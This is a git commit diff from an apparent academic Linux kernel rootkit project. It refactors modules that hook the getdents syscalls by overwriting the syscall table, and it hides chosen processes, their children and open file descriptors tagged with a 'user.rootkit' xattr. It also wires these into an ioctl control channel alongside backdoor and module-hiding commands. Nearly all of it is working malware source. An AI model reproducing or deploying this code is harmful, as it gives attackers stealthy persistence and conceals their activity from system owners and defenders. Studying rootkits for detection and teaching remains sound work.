linux-rootkit

Feature-rich interactive rootkit that targets Linux kernel 4.19, accompanied by a dynamic kernel memory analysis GDB plugin for in vivo introspection (e.g. using QEMU)
git clone git://git.deurzen.net/linux-rootkit
Log | Files | Refs

commit 8f08290609aefd82ec2c15ea589703ccf49892cb
parent 43009050813f8f44b83ddbb550699c12caf751d2
Author: deurzen <m.deurzen@tum.de>
Date:   Sun,  6 Dec 2020 03:55:02 +0100

refactors code

Diffstat:
Msrc/channel.c | 79++++++++++++++++++++++++++++++++++++++++++++++++++-----------------------------
Msrc/channel.h | 3++-
Msrc/g7.c | 8++++----
Dsrc/hideopen.c | 213-------------------------------------------------------------------------------
Dsrc/hideopen.h | 31-------------------------------
Dsrc/hidepid.c | 159-------------------------------------------------------------------------------
Dsrc/hidepid.h | 30------------------------------
Msrc/hook.c | 24+++++++++++++++++-------
Msrc/ioctl.h | 9+++++----
Asrc/openhide.c | 245+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/openhide.h | 34++++++++++++++++++++++++++++++++++
Asrc/pidhide.c | 159+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/pidhide.h | 30++++++++++++++++++++++++++++++
Msrc/rkctl/rkctl.c | 45++++++++++++++++++++++++++++++++-------------
Msrc/rkctl/rkctl.h | 2+-
Msrc/rootkit.h | 2+-
16 files changed, 580 insertions(+), 493 deletions(-)

diff --git a/src/channel.c b/src/channel.c @@ -9,7 +9,7 @@ #include "modhide.h" #include "filehide.h" #include "backdoor.h" -#include "hidepid.h" +#include "pidhide.h" #include "ioctl.h" #include "rootkit.h" @@ -25,9 +25,10 @@ report_channels(void) DEBUG_NOTICE("%-24s %#10lx\n", "PING", G7_PING); DEBUG_NOTICE("%-24s %#10lx\n", "MODHIDE", G7_MODHIDE); DEBUG_NOTICE("%-24s %#10lx\n", "FILEHIDE", G7_FILEHIDE); + DEBUG_NOTICE("%-24s %#10lx\n", "OPENHIDE", G7_OPENHIDE); DEBUG_NOTICE("%-24s %#10lx\n", "BACKDOOR", G7_BACKDOOR); DEBUG_NOTICE("%-24s %#10lx\n", "TOGGLEBD", G7_TOGGLEBD); - DEBUG_NOTICE("%-24s %#10lx\n", "HIDEPID", G7_HIDEPID); + DEBUG_NOTICE("%-24s %#10lx\n", "HIDEPID", G7_PIDHIDE); DEBUG_NOTICE("-----------------------------------\n"); } @@ -38,9 +39,10 @@ detect_channel(unsigned cmd) case G7_PING: return (channel_t){ "PING", handle_ping }; case G7_MODHIDE: return (channel_t){ "MODHIDE", handle_modhide }; case G7_FILEHIDE: return (channel_t){ "FILEHIDE", handle_filehide }; + case G7_OPENHIDE: return (channel_t){ "OPENHIDE", handle_openhide }; case G7_BACKDOOR: return (channel_t){ "BACKDOOR", handle_backdoor }; case G7_TOGGLEBD: return (channel_t){ "TOGGLEBD", handle_togglebd }; - case G7_HIDEPID: return (channel_t){ "HIDEPID", handle_hidepid }; + case G7_PIDHIDE: return (channel_t){ "HIDEPID", handle_pidhide }; } return (channel_t){ "unknown", NULL }; @@ -124,6 +126,51 @@ handle_filehide(unsigned long arg) } int +handle_openhide(unsigned long arg) +{ + long sarg = (long)arg; + bool set = rootkit.hiding_open; + + if (sarg > 0 || (!sarg && (set ^ 1))) { + hide_open(); + rootkit.hiding_files = 1; + } else if (sarg < 0 || (!sarg && !(set ^ 1))) { + unhide_open(); + rootkit.hiding_files = 0; + } + + DEBUG_NOTICE("openhide %s\n", rootkit.hiding_open ? "on" : "off"); + + return 0; +} + +int +handle_pidhide(unsigned long arg) +{ + long sarg = (long)arg; + + if (!sarg) { + unhide_pids(); + rootkit.hiding_pids = 0; + DEBUG_NOTICE("pidhide off\n"); + } else if (sarg < 0) { + unhide_pid((pid_t)(-sarg)); + DEBUG_NOTICE("unhiding pid %ld\n", -sarg); + } else if (sarg > 0) { + if (!rootkit.hiding_pids) { + hide_pids(); + DEBUG_NOTICE("pidhide on\n"); + } + + hide_pid((pid_t)sarg); + rootkit.hiding_pids = 1; + DEBUG_NOTICE("hiding pid %ld\n", sarg); + } + + return 0; +} + +int handle_backdoor(unsigned long arg) { char buf[BUFLEN]; @@ -179,29 +226,3 @@ handle_togglebd(unsigned long arg) return 0; } - -int -handle_hidepid(unsigned long arg) -{ - long sarg = (long)arg; - - if (!sarg) { - unhide_pids(); - rootkit.hiding_pids = 0; - DEBUG_NOTICE("hidepid off\n"); - } else if (sarg < 0) { - unhide_pid((pid_t)(-sarg)); - DEBUG_NOTICE("unhiding pid %ld\n", -sarg); - } else if (sarg > 0) { - if (!rootkit.hiding_pids) { - hide_pids(); - DEBUG_NOTICE("hidepid on\n"); - } - - hide_pid((pid_t)sarg); - rootkit.hiding_pids = 1; - DEBUG_NOTICE("hiding pid %ld\n", sarg); - } - - return 0; -} diff --git a/src/channel.h b/src/channel.h @@ -13,8 +13,9 @@ channel_t detect_channel(unsigned); int handle_ping(unsigned long); int handle_modhide(unsigned long); int handle_filehide(unsigned long); +int handle_openhide(unsigned long); +int handle_pidhide(unsigned long); int handle_backdoor(unsigned long); int handle_togglebd(unsigned long); -int handle_hidepid(unsigned long); #endif//_GROUP7_CHANNEL_H diff --git a/src/g7.c b/src/g7.c @@ -40,10 +40,10 @@ static struct file_operations g7_fops = rootkit_t rootkit = { - .hiding_module = true, - .hiding_files = true, - .hiding_open_files = true, - .hiding_pids = true, + .hiding_module = true, + .hiding_files = true, + .hiding_open = true, + .hiding_pids = true, .backdoor = BD_TTY, }; diff --git a/src/hideopen.c b/src/hideopen.c @@ -1,212 +0,0 @@ -#include <linux/slab.h> -#include <linux/fd.h> -#include <linux/fs.h> -#include <linux/pid.h> -#include <linux/sched.h> -#include <linux/fdtable.h> -#include <linux/dcache.h> -#include <linux/xattr.h> -#include <linux/namei.h> - -#include "common.h" -#include "hook.h" -#include "hideopen.h" -#include "hidepid.h" - -const char *dir_sep = "/"; - -fd_list_t hidden_fds = { - .fd = -1, - .prev = NULL, - .next = NULL, -}; - -fd_list_t_ptr hidden_fds_tail = &hidden_fds; - -pid_t -may_fd(struct file *dirfile) -{ - pid_t tmp = -1; - char *buf; - - buf = kzalloc(512, GFP_KERNEL); - - if(dirfile && !strcmp(dirfile->f_path.dentry->d_name.name, "fd")) { - char *path = d_path(&dirfile->f_path, buf, 512); - - if(!IS_ERR(path)) { - char *sub; - char *cur = path; - - /** - * In the correct directory, the tokens are as follows: - * {NULL, proc, [PID], fd} - * We also don't want the task directory, so the third - * token should be fd, not task - **/ - int i = 0; - - while(sub = (strsep(&cur, dir_sep))) { - switch(i++) { - case 1: - if(strcmp(sub, "proc")) - goto leave; - break; - case 2: - tmp = PID_FROM_NAME(sub); - break; - case 3: - if(!strcmp(sub, "fd")) { - kfree(buf); - return tmp; - } else - goto leave; - default: - break; - } - } - } - } - - leave: - kfree(buf); - return 0; -} - -int -fd_callback(const void *ptr, struct file *f, unsigned fd) -{ - struct inode *inode = f->f_inode; - char *buf = kzalloc(BUFLEN, GFP_KERNEL); - - if(!inode_permission(inode, MAY_READ)) { - ssize_t len = vfs_getxattr(f->f_path.dentry, G7_XATTR_NAME, buf, BUFLEN); - - if(len > 0 && !strncmp(G7_XATTR_VAL, buf, strlen(G7_XATTR_VAL))) { - add_fd_to_list(&hidden_fds, (int) fd); - goto leave; - } - - const char *fname = f->f_path.dentry->d_name.name; - - if(strlen(fname) >= 6) { - char *abs = kzalloc(BUFLEN, GFP_KERNEL); - - if(strncmp(fname, ".", 1) || strncmp((fname + (strlen(fname) - 4)), ".swp", 4)) { - goto leave; - } - - - memset(buf, 0, BUFLEN); - strncpy(buf, (fname + 1), strlen(fname) - 5); - - char *path = d_path(&f->f_path, abs, 512); - - if(IS_ERR(path)) - goto end; - - memset((path + (strlen(path) - strlen(fname))), 0, strlen(fname)); - strcat(path, buf); - - struct path path_struct; - if(kern_path(path, LOOKUP_FOLLOW, &path_struct)) - goto end; - - memset(buf, 0, BUFLEN); - - ssize_t len = vfs_getxattr(path_struct.dentry, G7_XATTR_NAME, buf, BUFLEN); - - if(len > 0 && !strncmp(G7_XATTR_VAL, buf, strlen(G7_XATTR_VAL))) { - add_fd_to_list(&hidden_fds, (int) fd); - } - - end: - kfree(abs); - goto leave; - - } - } - - leave: - kfree(buf); - - return 0; -} - -void -fill_fds(pid_t pid) -{ - struct pid *spid; - struct task_struct *task; - struct files_struct *fs; - - if (!(spid = find_get_pid(pid)) || !(task = pid_task(spid, PIDTYPE_PID))) - return; - - iterate_fd(task->files, 0, (void *)fd_callback, NULL); -} - -void -clear_hidden_fds(void) -{ - fd_list_t_ptr i = hidden_fds_tail; - while ((i = remove_fd_from_list(i, i->fd))); -} - -bool -list_contains_fd(fd_list_t_ptr list, int fd) -{ - return !!find_fd_in_list(list, fd); -} - -fd_list_t_ptr -find_fd_in_list(fd_list_t_ptr head, int fd) -{ - fd_list_t_ptr i; - for (i = head; i; i = i->next) - if (i->fd == fd) - return i; - - return NULL; -} - -fd_list_t_ptr -add_fd_to_list(fd_list_t_ptr tail, int fd) -{ - fd_list_t_ptr node; - node = (fd_list_t_ptr)kmalloc(sizeof(fd_list_t), GFP_KERNEL); - - if (node) { - node->fd = fd; - node->next = NULL; - node->prev = tail; - tail->next = node; - hidden_fds_tail = node; - return node; - } - - return NULL; -} - - -fd_list_t_ptr -remove_fd_from_list(fd_list_t_ptr list, int fd) -{ - fd_list_t_ptr i = find_fd_in_list(list, fd), ret = NULL; - - if (i && (i->fd != -1)) { - if (i->next) - i->next->prev = i->prev; - else - hidden_fds_tail = i->prev ? i->prev : &hidden_fds; - - if (i->prev) { - i->prev->next = i->next; - ret = i->prev; - } - - kfree(i); - } - - return ret; -} -\ No newline at end of file diff --git a/src/hideopen.h b/src/hideopen.h @@ -1,31 +0,0 @@ -#ifndef _GROUP7_HIDEOPEN_H -#define _GROUP7_HIDEOPEN_H - -#include <linux/types.h> - -#define FD_FROM_NAME(name) ((int)simple_strtol((name), NULL, 10)) -#define G7_XATTR_NAME "user.rootkit" -#define G7_XATTR_VAL "rootkit" - -#define BUFLEN 512 - -typedef struct fd_list *fd_list_t_ptr; -typedef struct fd_list { - int fd; - fd_list_t_ptr prev; - fd_list_t_ptr next; -} fd_list_t; - -extern fd_list_t hidden_fds; - -pid_t may_fd(struct file *); -void fill_fds(pid_t); - -void clear_hidden_fds(void); -bool list_contains_fd(fd_list_t_ptr, int); - -fd_list_t_ptr find_fd_in_list(fd_list_t_ptr, int); -fd_list_t_ptr add_fd_to_list(fd_list_t_ptr, int); -fd_list_t_ptr remove_fd_from_list(fd_list_t_ptr list, int fd); - -#endif//_GROUP7_HIDEOPEN_H diff --git a/src/hidepid.c b/src/hidepid.c @@ -1,159 +0,0 @@ -#include <linux/slab.h> -#include <linux/pid.h> - -#include "hook.h" -#include "hidepid.h" - -pid_list_t hidden_pids = { - .pid = -1, - .prev = NULL, - .next = NULL, -}; - -pid_list_t_ptr hidden_pids_tail = &hidden_pids; - -void -hide_pids(void) -{ - if (atomic_inc_return(&getdents_install_count) == 1) { - disable_protection(); - sys_calls[__NR_getdents] = (void *)g7_getdents; - sys_calls[__NR_getdents64] = (void *)g7_getdents64; - enable_protection(); - } -} - -void -unhide_pids(void) -{ - if (atomic_dec_return(&getdents_install_count) < 0) { - atomic_set(&getdents_install_count, 0); - - if (sys_getdents) { - disable_protection(); - sys_calls[__NR_getdents] = (void *)sys_getdents; - enable_protection(); - while (atomic_read(&getdents_count) > 0); - } - - if (sys_getdents64) { - disable_protection(); - sys_calls[__NR_getdents64] = (void *)sys_getdents64; - enable_protection(); - while (atomic_read(&getdents64_count) > 0); - } - } -} - - -void -hide_pid(pid_t pid) -{ - struct pid *spid; - struct task_struct *task; - - if (list_contains_pid(&hidden_pids, pid)) - return; - - if (!(spid = find_get_pid(pid)) || !(task = pid_task(spid, PIDTYPE_PID))) - return; - - struct list_head *i; - list_for_each(i, &task->children) { - struct task_struct *child = list_entry(i, struct task_struct, sibling); - - hide_pid(child->pid); - } - - add_pid_to_list(hidden_pids_tail, pid); -} - -void -unhide_pid(pid_t pid) -{ - struct pid *spid; - struct task_struct *task; - - pid_list_t_ptr node; - if (!(node = find_pid_in_list(&hidden_pids, pid))) - return; - - if (node == &hidden_pids) - return; - - if ((spid = find_get_pid(pid)) && (task = pid_task(spid, PIDTYPE_PID))) { - struct list_head *i; - list_for_each(i, &task->children) { - struct task_struct *child = list_entry(i, struct task_struct, sibling); - - unhide_pid(child->pid); - } - } - - remove_pid_from_list(node, pid); -} - -void -clear_hidden_pids(void) -{ - pid_list_t_ptr i = hidden_pids_tail; - while ((i = remove_pid_from_list(i, i->pid))); -} - - -bool -list_contains_pid(pid_list_t_ptr list, pid_t pid) -{ - return !!find_pid_in_list(list, pid); -} - -pid_list_t_ptr -find_pid_in_list(pid_list_t_ptr head, pid_t pid) -{ - pid_list_t_ptr i; - for (i = head; i; i = i->next) - if (i->pid == pid) - return i; - - return NULL; -} - -pid_list_t_ptr -add_pid_to_list(pid_list_t_ptr tail, pid_t pid) -{ - pid_list_t_ptr node; - node = (pid_list_t_ptr)kmalloc(sizeof(pid_list_t), GFP_KERNEL); - - if (node) { - node->pid = pid; - node->next = NULL; - node->prev = tail; - tail->next = node; - hidden_pids_tail = node; - return node; - } - - return NULL; -} - -pid_list_t_ptr -remove_pid_from_list(pid_list_t_ptr list, pid_t pid) -{ - pid_list_t_ptr i = find_pid_in_list(list, pid), ret = NULL; - - if (i && (i->pid != -1)) { - if (i->next) - i->next->prev = i->prev; - else - hidden_pids_tail = i->prev ? i->prev : &hidden_pids; - - if (i->prev) { - i->prev->next = i->next; - ret = i->prev; - } - - kfree(i); - } - - return ret; -} diff --git a/src/hidepid.h b/src/hidepid.h @@ -1,30 +0,0 @@ -#ifndef _GROUP7_HIDEPID_H -#define _GROUP7_HIDEPID_H - -#include <linux/types.h> - -#define PID_FROM_NAME(name) ((pid_t)simple_strtol((name), NULL, 10)) - -typedef struct pid_list *pid_list_t_ptr; -typedef struct pid_list { - pid_t pid; - pid_list_t_ptr prev; - pid_list_t_ptr next; -} pid_list_t; - -extern pid_list_t hidden_pids; - -void hide_pids(void); -void unhide_pids(void); - -void hide_pid(pid_t); -void unhide_pid(pid_t); -void clear_hidden_pids(void); - -void init_pid_list(void); -bool list_contains_pid(pid_list_t_ptr, pid_t); -pid_list_t_ptr find_pid_in_list(pid_list_t_ptr, pid_t); -pid_list_t_ptr add_pid_to_list(pid_list_t_ptr, pid_t); -pid_list_t_ptr remove_pid_from_list(pid_list_t_ptr, pid_t); - -#endif//_GROUP7_HIDEPID_H diff --git a/src/hook.c b/src/hook.c @@ -17,8 +17,8 @@ #include "modhide.h" #include "filehide.h" #include "backdoor.h" -#include "hidepid.h" -#include "hideopen.h" +#include "pidhide.h" +#include "openhide.h" #include "read.h" extern rootkit_t rootkit; @@ -139,6 +139,10 @@ g7_getdents(const struct pt_regs *pt_regs) dirent_t_ptr dirent = (dirent_t_ptr)pt_regs->si; long ret = sys_getdents(pt_regs); + bool is_fd = 0; // We only need /proc/[pid]/fd dirs + struct file *dirfile = fget(fd); + pid_t fd_pid; + if (ret <= 0 || !(kdirent = (dirent_t_ptr)kzalloc(ret, GFP_KERNEL))) return ret; @@ -165,11 +169,17 @@ g7_getdents(const struct pt_regs *pt_regs) } } + if(rootkit.hiding_open && (fd_pid = may_fd(dirfile))) { + is_fd = 1; + fill_fds(fd_pid); + } + for (offset = 0; offset < ret;) { cur_kdirent = (dirent_t_ptr)((char *)kdirent + offset); if ((may_proc && list_contains_pid(&hidden_pids, PID_FROM_NAME(cur_kdirent->d_name))) - || list_contains_inode(hi_head, cur_kdirent->d_ino)) + || list_contains_inode(hi_head, cur_kdirent->d_ino) + || list_contains_fd(&hidden_fds, FD_FROM_NAME(cur_kdirent->d_name))) { if (cur_kdirent == kdirent) { ret -= cur_kdirent->d_reclen; @@ -188,6 +198,7 @@ g7_getdents(const struct pt_regs *pt_regs) atomic_dec(&getdents_count); yield: + clear_hidden_fds(); kfree(kdirent); return ret; } @@ -200,7 +211,6 @@ g7_getdents64(const struct pt_regs *pt_regs) typedef struct linux_dirent64 *dirent64_t_ptr; bool may_proc; - unsigned long offset; dirent64_t_ptr kdirent, cur_kdirent, prev_kdirent; struct dentry *kdirent_dentry; @@ -210,7 +220,7 @@ g7_getdents64(const struct pt_regs *pt_regs) dirent64_t_ptr dirent = (dirent64_t_ptr)pt_regs->si; long ret = sys_getdents64(pt_regs); - bool is_fd = 0; //We only need /proc/[pid]/fd dirs + bool is_fd = 0; // We only need /proc/[pid]/fd dirs struct file *dirfile = fget(fd); pid_t fd_pid; @@ -239,8 +249,8 @@ g7_getdents64(const struct pt_regs *pt_regs) hi_tail = add_inode_to_list(hi_tail, inode); } } - - if(rootkit.hiding_open_files && (fd_pid = may_fd(dirfile))) { + + if(rootkit.hiding_open && (fd_pid = may_fd(dirfile))) { is_fd = 1; fill_fds(fd_pid); } diff --git a/src/ioctl.h b/src/ioctl.h @@ -4,11 +4,12 @@ #define G7_MAGIC_NUMBER '@' #define G7_DEVICE "g7rkp" -#define G7_PING _IOWR(G7_MAGIC_NUMBER, 0x0, char *) +#define G7_PING _IOWR(G7_MAGIC_NUMBER, 0x0, char *) #define G7_MODHIDE _IOR(G7_MAGIC_NUMBER, 0x1, char *) #define G7_FILEHIDE _IOR(G7_MAGIC_NUMBER, 0x2, char *) -#define G7_BACKDOOR _IOR(G7_MAGIC_NUMBER, 0x3, char *) -#define G7_TOGGLEBD _IOR(G7_MAGIC_NUMBER, 0x4, char *) -#define G7_HIDEPID _IOR(G7_MAGIC_NUMBER, 0x5, char *) +#define G7_OPENHIDE _IOR(G7_MAGIC_NUMBER, 0x3, char *) +#define G7_PIDHIDE _IOR(G7_MAGIC_NUMBER, 0x4, char *) +#define G7_BACKDOOR _IOR(G7_MAGIC_NUMBER, 0x5, char *) +#define G7_TOGGLEBD _IOR(G7_MAGIC_NUMBER, 0x6, char *) #endif//_GROUP7_IOCTL_H diff --git a/src/openhide.c b/src/openhide.c @@ -0,0 +1,245 @@ +#include <linux/slab.h> +#include <linux/fd.h> +#include <linux/fs.h> +#include <linux/pid.h> +#include <linux/sched.h> +#include <linux/fdtable.h> +#include <linux/dcache.h> +#include <linux/xattr.h> +#include <linux/namei.h> + +#include "common.h" +#include "hook.h" +#include "openhide.h" +#include "pidhide.h" + +const char *dir_sep = "/"; + +fd_list_t hidden_fds = { + .fd = -1, + .prev = NULL, + .next = NULL, +}; + +fd_list_t_ptr hidden_fds_tail = &hidden_fds; + +void +hide_open(void) +{ + if (atomic_inc_return(&getdents_install_count) == 1) { + disable_protection(); + sys_calls[__NR_getdents] = (void *)g7_getdents; + sys_calls[__NR_getdents64] = (void *)g7_getdents64; + enable_protection(); + } +} + +void +unhide_open(void) +{ + if (atomic_dec_return(&getdents_install_count) < 0) { + atomic_set(&getdents_install_count, 0); + + if (sys_getdents) { + disable_protection(); + sys_calls[__NR_getdents] = (void *)sys_getdents; + enable_protection(); + while (atomic_read(&getdents_count) > 0); + } + + if (sys_getdents64) { + disable_protection(); + sys_calls[__NR_getdents64] = (void *)sys_getdents64; + enable_protection(); + while (atomic_read(&getdents64_count) > 0); + } + } +} + + +pid_t +may_fd(struct file *dirfile) +{ + pid_t tmp = -1; + char *buf; + + buf = kzalloc(512, GFP_KERNEL); + + if (dirfile && !strcmp(dirfile->f_path.dentry->d_name.name, "fd")) { + char *path = d_path(&dirfile->f_path, buf, 512); + + if (!IS_ERR(path)) { + char *sub; + char *cur = path; + + /** + * In the correct directory, the tokens are as follows: + * {NULL, proc, [PID], fd} + * We also don't want the task directory, so the third + * token should be fd, not task + **/ + int i = 0; + + while ((sub = (strsep(&cur, dir_sep)))) { + switch(i++) { + case 1: + if (strcmp(sub, "proc")) + goto leave; + break; + case 2: + tmp = PID_FROM_NAME(sub); + break; + case 3: + if (!strcmp(sub, "fd")) { + kfree(buf); + return tmp; + } else + goto leave; + default: + break; + } + } + } + } + +leave: + kfree(buf); + return 0; +} + +int +fd_callback(const void *ptr, struct file *f, unsigned fd) +{ + struct inode *inode = f->f_inode; + char *buf = kzalloc(BUFLEN, GFP_KERNEL); + + if (!inode_permission(inode, MAY_READ)) { + ssize_t len = vfs_getxattr(f->f_path.dentry, G7_XATTR_NAME, buf, BUFLEN); + + if (len > 0 && !strncmp(G7_XATTR_VAL, buf, strlen(G7_XATTR_VAL))) { + add_fd_to_list(&hidden_fds, (int) fd); + goto leave; + } + + const char *fname = f->f_path.dentry->d_name.name; + + if (strlen(fname) >= 6) { + char *abs = kzalloc(BUFLEN, GFP_KERNEL); + + if (strncmp(fname, ".", 1) || strncmp((fname + (strlen(fname) - 4)), ".swp", 4)) { + goto leave; + } + + + memset(buf, 0, BUFLEN); + strncpy(buf, (fname + 1), strlen(fname) - 5); + + char *path = d_path(&f->f_path, abs, 512); + + if (IS_ERR(path)) + goto end; + + memset((path + (strlen(path) - strlen(fname))), 0, strlen(fname)); + strcat(path, buf); + + struct path path_struct; + if (kern_path(path, LOOKUP_FOLLOW, &path_struct)) + goto end; + + memset(buf, 0, BUFLEN); + + ssize_t len = vfs_getxattr(path_struct.dentry, G7_XATTR_NAME, buf, BUFLEN); + + if (len > 0 && !strncmp(G7_XATTR_VAL, buf, strlen(G7_XATTR_VAL))) { + add_fd_to_list(&hidden_fds, (int) fd); + } + +end: + kfree(abs); + goto leave; + + } + } + +leave: + kfree(buf); + + return 0; +} + +void +fill_fds(pid_t pid) +{ + struct pid *spid; + struct task_struct *task; + + if (!(spid = find_get_pid(pid)) || !(task = pid_task(spid, PIDTYPE_PID))) + return; + + iterate_fd(task->files, 0, (void *)fd_callback, NULL); +} + +void +clear_hidden_fds(void) +{ + fd_list_t_ptr i = hidden_fds_tail; + while ((i = remove_fd_from_list(i, i->fd))); +} + +bool +list_contains_fd(fd_list_t_ptr list, int fd) +{ + return !!find_fd_in_list(list, fd); +} + +fd_list_t_ptr +find_fd_in_list(fd_list_t_ptr head, int fd) +{ + fd_list_t_ptr i; + for (i = head; i; i = i->next) + if (i->fd == fd) + return i; + + return NULL; +} + +fd_list_t_ptr +add_fd_to_list(fd_list_t_ptr tail, int fd) +{ + fd_list_t_ptr node; + node = (fd_list_t_ptr)kmalloc(sizeof(fd_list_t), GFP_KERNEL); + + if (node) { + node->fd = fd; + node->next = NULL; + node->prev = tail; + tail->next = node; + hidden_fds_tail = node; + return node; + } + + return NULL; +} + + +fd_list_t_ptr +remove_fd_from_list(fd_list_t_ptr list, int fd) +{ + fd_list_t_ptr i = find_fd_in_list(list, fd), ret = NULL; + + if (i && (i->fd != -1)) { + if (i->next) + i->next->prev = i->prev; + else + hidden_fds_tail = i->prev ? i->prev : &hidden_fds; + + if (i->prev) { + i->prev->next = i->next; + ret = i->prev; + } + + kfree(i); + } + + return ret; +} diff --git a/src/openhide.h b/src/openhide.h @@ -0,0 +1,34 @@ +#ifndef _GROUP7_OPENHIDE_H +#define _GROUP7_OPENHIDE_H + +#include <linux/types.h> + +#define FD_FROM_NAME(name) ((int)simple_strtol((name), NULL, 10)) +#define G7_XATTR_NAME "user.rootkit" +#define G7_XATTR_VAL "rootkit" + +#define BUFLEN 512 + +typedef struct fd_list *fd_list_t_ptr; +typedef struct fd_list { + int fd; + fd_list_t_ptr prev; + fd_list_t_ptr next; +} fd_list_t; + +extern fd_list_t hidden_fds; + +void hide_open(void); +void unhide_open(void); + +pid_t may_fd(struct file *); +void fill_fds(pid_t); + +void clear_hidden_fds(void); +bool list_contains_fd(fd_list_t_ptr, int); + +fd_list_t_ptr find_fd_in_list(fd_list_t_ptr, int); +fd_list_t_ptr add_fd_to_list(fd_list_t_ptr, int); +fd_list_t_ptr remove_fd_from_list(fd_list_t_ptr list, int fd); + +#endif//_GROUP7_OPENHIDE_H diff --git a/src/pidhide.c b/src/pidhide.c @@ -0,0 +1,159 @@ +#include <linux/slab.h> +#include <linux/pid.h> + +#include "hook.h" +#include "pidhide.h" + +pid_list_t hidden_pids = { + .pid = -1, + .prev = NULL, + .next = NULL, +}; + +pid_list_t_ptr hidden_pids_tail = &hidden_pids; + +void +hide_pids(void) +{ + if (atomic_inc_return(&getdents_install_count) == 1) { + disable_protection(); + sys_calls[__NR_getdents] = (void *)g7_getdents; + sys_calls[__NR_getdents64] = (void *)g7_getdents64; + enable_protection(); + } +} + +void +unhide_pids(void) +{ + if (atomic_dec_return(&getdents_install_count) < 0) { + atomic_set(&getdents_install_count, 0); + + if (sys_getdents) { + disable_protection(); + sys_calls[__NR_getdents] = (void *)sys_getdents; + enable_protection(); + while (atomic_read(&getdents_count) > 0); + } + + if (sys_getdents64) { + disable_protection(); + sys_calls[__NR_getdents64] = (void *)sys_getdents64; + enable_protection(); + while (atomic_read(&getdents64_count) > 0); + } + } +} + + +void +hide_pid(pid_t pid) +{ + struct pid *spid; + struct task_struct *task; + + if (list_contains_pid(&hidden_pids, pid)) + return; + + if (!(spid = find_get_pid(pid)) || !(task = pid_task(spid, PIDTYPE_PID))) + return; + + struct list_head *i; + list_for_each(i, &task->children) { + struct task_struct *child = list_entry(i, struct task_struct, sibling); + + hide_pid(child->pid); + } + + add_pid_to_list(hidden_pids_tail, pid); +} + +void +unhide_pid(pid_t pid) +{ + struct pid *spid; + struct task_struct *task; + + pid_list_t_ptr node; + if (!(node = find_pid_in_list(&hidden_pids, pid))) + return; + + if (node == &hidden_pids) + return; + + if ((spid = find_get_pid(pid)) && (task = pid_task(spid, PIDTYPE_PID))) { + struct list_head *i; + list_for_each(i, &task->children) { + struct task_struct *child = list_entry(i, struct task_struct, sibling); + + unhide_pid(child->pid); + } + } + + remove_pid_from_list(node, pid); +} + +void +clear_hidden_pids(void) +{ + pid_list_t_ptr i = hidden_pids_tail; + while ((i = remove_pid_from_list(i, i->pid))); +} + + +bool +list_contains_pid(pid_list_t_ptr list, pid_t pid) +{ + return !!find_pid_in_list(list, pid); +} + +pid_list_t_ptr +find_pid_in_list(pid_list_t_ptr head, pid_t pid) +{ + pid_list_t_ptr i; + for (i = head; i; i = i->next) + if (i->pid == pid) + return i; + + return NULL; +} + +pid_list_t_ptr +add_pid_to_list(pid_list_t_ptr tail, pid_t pid) +{ + pid_list_t_ptr node; + node = (pid_list_t_ptr)kmalloc(sizeof(pid_list_t), GFP_KERNEL); + + if (node) { + node->pid = pid; + node->next = NULL; + node->prev = tail; + tail->next = node; + hidden_pids_tail = node; + return node; + } + + return NULL; +} + +pid_list_t_ptr +remove_pid_from_list(pid_list_t_ptr list, pid_t pid) +{ + pid_list_t_ptr i = find_pid_in_list(list, pid), ret = NULL; + + if (i && (i->pid != -1)) { + if (i->next) + i->next->prev = i->prev; + else + hidden_pids_tail = i->prev ? i->prev : &hidden_pids; + + if (i->prev) { + i->prev->next = i->next; + ret = i->prev; + } + + kfree(i); + } + + return ret; +} diff --git a/src/pidhide.h b/src/pidhide.h @@ -0,0 +1,30 @@ +#ifndef _GROUP7_PIDHIDE_H +#define _GROUP7_PIDHIDE_H + +#include <linux/types.h> + +#define PID_FROM_NAME(name) ((pid_t)simple_strtol((name), NULL, 10)) + +typedef struct pid_list *pid_list_t_ptr; +typedef struct pid_list { + pid_t pid; + pid_list_t_ptr prev; + pid_list_t_ptr next; +} pid_list_t; + +extern pid_list_t hidden_pids; + +void hide_pids(void); +void unhide_pids(void); + +void hide_pid(pid_t); +void unhide_pid(pid_t); +void clear_hidden_pids(void); + +void init_pid_list(void); +bool list_contains_pid(pid_list_t_ptr, pid_t); +pid_list_t_ptr find_pid_in_list(pid_list_t_ptr, pid_t); +pid_list_t_ptr add_pid_to_list(pid_list_t_ptr, pid_t); +pid_list_t_ptr remove_pid_from_list(pid_list_t_ptr, pid_t); + +#endif//_GROUP7_PIDHIDE_H diff --git a/src/rkctl/rkctl.c b/src/rkctl/rkctl.c @@ -48,16 +48,29 @@ parse_input(int argc, char **argv) } if (ARGVCMP(1, "filehide")) { - ASSERT_ARGC(2, "filehide <toggle | on | off>"); + ASSERT_ARGC(2, "filehide [open] <toggle | on | off>"); - if (ARGVCMP(2, "toggle")) - return (cmd_t){ handle_filehide, (void *)0 }; + if (ARGVCMP(2, "open")) { + ASSERT_ARGC(3, "filehide [open] <toggle | on | off>"); - if (ARGVCMP(2, "on")) - return (cmd_t){ handle_filehide, (void *)1 }; + if (ARGVCMP(3, "toggle")) + return (cmd_t){ handle_openhide, (void *)0 }; - if (ARGVCMP(2, "off")) - return (cmd_t){ handle_filehide, (void *)-1 }; + if (ARGVCMP(3, "on")) + return (cmd_t){ handle_openhide, (void *)1 }; + + if (ARGVCMP(3, "off")) + return (cmd_t){ handle_openhide, (void *)-1 }; + } else { + if (ARGVCMP(2, "toggle")) + return (cmd_t){ handle_filehide, (void *)0 }; + + if (ARGVCMP(2, "on")) + return (cmd_t){ handle_filehide, (void *)1 }; + + if (ARGVCMP(2, "off")) + return (cmd_t){ handle_filehide, (void *)-1 }; + } } if (ARGVCMP(1, "backdoor")) { @@ -87,10 +100,10 @@ parse_input(int argc, char **argv) long arg; if ((arg = strtol(argv[3], NULL, 10))) { if (ARGVCMP(2, "add")) - return (cmd_t){ handle_hidepid, (void *)(arg) }; + return (cmd_t){ handle_pidhide, (void *)(arg) }; if (ARGVCMP(2, "rm")) - return (cmd_t){ handle_hidepid, (void *)((-1) * (arg)) }; + return (cmd_t){ handle_pidhide, (void *)((-1) * (arg)) }; } else { fprintf(stderr, "%s: invalid pid `%s`\n", progname, argv[3]); exit(1); @@ -98,7 +111,7 @@ parse_input(int argc, char **argv) } if (ARGVCMP(1, "hidepid-off")) - return (cmd_t){ handle_hidepid, (void *)0 }; + return (cmd_t){ handle_pidhide, (void *)0 